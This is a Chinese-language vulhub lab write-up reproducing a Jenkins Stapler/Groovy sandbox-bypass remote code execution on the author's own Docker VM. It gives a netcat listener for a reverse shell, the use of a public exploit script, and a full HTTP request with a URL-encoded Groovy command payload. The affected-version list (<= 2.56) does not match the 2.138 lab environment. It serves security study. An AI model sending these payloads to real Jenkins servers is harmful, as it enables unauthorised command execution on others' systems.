vulhub
1. 漏洞介绍
1.1 背景介绍
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
1.2 漏洞影响
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
2. 漏洞详细复现步骤
2.1 环境&工具
漏洞机:192.168.10.200 ubuntu
- docker
- vulhub
攻击机:Windows10
- Burpsuit
- wireshark
2.2 漏洞复现步骤
2.2.1 漏洞机环境
执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。
2.2.2 漏洞复现
- 反弹shell
/dev/tcp是一个socket链接
尝试在windows攻击机的防火墙的高级设置中添加入站规则和出站规则,依然链接被拒绝。
ping攻击机是能够ping通的。
尝试关掉靶机的防火墙,依然链接被拒绝
尝试更换端口号,依然链接被拒绝
明明就能ping通,我实在想不通。
解密了,应当先在攻击机监听端口,再在靶机tcp链接攻击机,这个时候再在攻击机回车两次,就会出现反弹shell。
nc -lvp 6789 #port
- 使用一键POC脚本
使用https://github.com/orangetw/awesome-jenkins-rce-2019
下载运行 exp.py 需要的依赖
pip install requests
pip install enum
执行exp.py
python exp.py http://靶机ip:8080/ "touch /tmp/success"
在靶机查看是否成功
- 使用burpsuite
现将playload中的value编码url
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
Host: 192.168.0.113:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
Connection: close
response一片空白。
2.3 漏洞复现注意事项
应当先在攻击机监听端口,再在靶机tcp链接攻击机,这样端口才能对应上!如果先tcp链接是会被拒绝的。如果链接不上,应当先检查双方是否能ping通,再检查IPS是否拦截成功。